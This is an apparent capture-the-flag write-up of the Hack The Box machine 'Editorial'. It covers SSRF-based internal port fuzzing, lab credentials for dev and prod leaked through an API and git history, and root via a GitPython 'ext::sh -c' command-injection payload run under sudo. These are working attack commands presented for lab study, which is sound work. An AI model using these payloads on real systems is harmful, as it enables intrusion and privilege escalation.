Description
Solution
Recon
Applying nmap scan
Nmap scan report for 10.10.11.20
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
we see that there’s a web service on port 80 and there’s a domain editorial.htb should be submitted in /etc/hosts
file
when we add the domain to /etc/hosts we can visit the site now
I tried directory brute forcing
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ feroxbuster -u http://editorial.htb
I got no interesting output
I also tried subdomain enumeration
┌──(youssif㉿youssif)-[~]
└─$ ffuf -u http://10.10.11.20 -H "Host: FUZZ.editorial.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
I got no interesting output
Shell as dev
When we navigate the site and go to Publish with us
tab we will go to /upload
endpoint and we will see this form.
Preview option is interesting because it has a field that accepts url.
i set up a listener at port 4444 and put http://myIP:4444
at this field and sent the request and i got a response.
Let’s cook this SSRF.
i tried to put http://127.0.0.1
as a URL, but i get this response.
The path provided in the response isn’t very interesting, so i tried to fuzz the target’s port as i may find any local port for the target open.
I changed the url to http://127.0.0.1:FUZZ
and saved the request to file.
then i ran this command.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ ffuf -request req -request-proto http -w <(seq 1 65535)
I found that all the ports return response with the same size which is 61, so i filtered it out and my new command is:
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ ffuf -request req2 -request-proto http -w <(seq 1 65535) -fs 61
-fs 61
: means filter out by size (don’t show result whose response size is 61)
that gave me result on port 5000 only, so i sent the request with this url http://127.0.0.1:5000
and i got this
The response is different now, and when i visit this endpoint i got file with json data whose content is
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
There are many endpoints, but /api/latest/metadata/messages/authors
seems to be the most interesting one i will start by it and i will send the request of preview again but the url will be http://127.0.0.1:5000/api/latest/metadata/messages/authors
I also got a path to file under uplaods directory and when i visit it i get its content which is
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Nice we have a credentials here dev:dev080217_devAPI!@
Let’s SSH and get the user flag.
dev@editorial:~$ cat user.txt
*****************************f9d
Shell as prod
when we get into the machine we will find that we have 2 users
dev@editorial:~$ ls /home
dev prod
I started navigating within the machine
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ll
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 ./
drwxr-x--- 5 dev dev 4096 Oct 16 13:45 ../
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git/
I found .git
directory which indicates that there’s a git repositry here.
Let’s examine it.
dev@editorial:~/apps$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
<SNIP>
i found many deleted files but the most interesting files were app_api/app.py
& app_editorial/app.py
i got these files using git restore <path/to/file>
and read them.
app_editorial/app.py
: it’s the main app on port 80 and wasn’t interestingapp_api/app.py
: it’s the api on port 5000 we saw and it contains the message we got before which has dev account credentials.
more enumeration in the repo
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
There’s a commit with a message downgrading prod to dev
which seems to be very interesting, Let’s get the difference between it and the earlier one.
We have many commits let’s get the difference using git diff first-commit second-commit
I found the a message similer to what we got before but the credentials are for prod user
credentials prod:080217_Producti0n_2023!@
Let’s SSH as prod
Shell as root
Let’s do some enumeration to see the capabilities of prod
user
prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
we see that there’s a python script which can be executed as root and we can pass any parameter
Let’s look at that script
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
After examining the code and searching i found this article
This CVE exists on GitPython package if the version is below 3.1.30
Let’s check the version of GitPython on the machine we hacked
prod@editorial:~$ pip3 list | grep Git
GitPython 3.1.29
So it’s vulnerable
according to the article we provided i used the payload sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
and when i check the file i see it’s created
prod@editorial:~$ ll /tmp/pwned
-rw-r--r-- 1 root root 0 Oct 19 08:51 /tmp/pwned
The executed command is done blindly so if we want to see the result of command we can redirect it to a file and read that file like using the command sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c whoami% >% /tmp/pwned'
but why we use %
?? after searching i found that it’s used to bypass some filteration but i didn’t find an absolute reason at the end the most logical reason i found from the searches that it maybe encoded as space.
When we read the file now we will get this
prod@editorial:~$ cat /tmp/pwned
root
we can now get the root flag using sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/pwned'
then read this file
prod@editorial:~$ cat /tmp/pwned
*****************************549
GG !!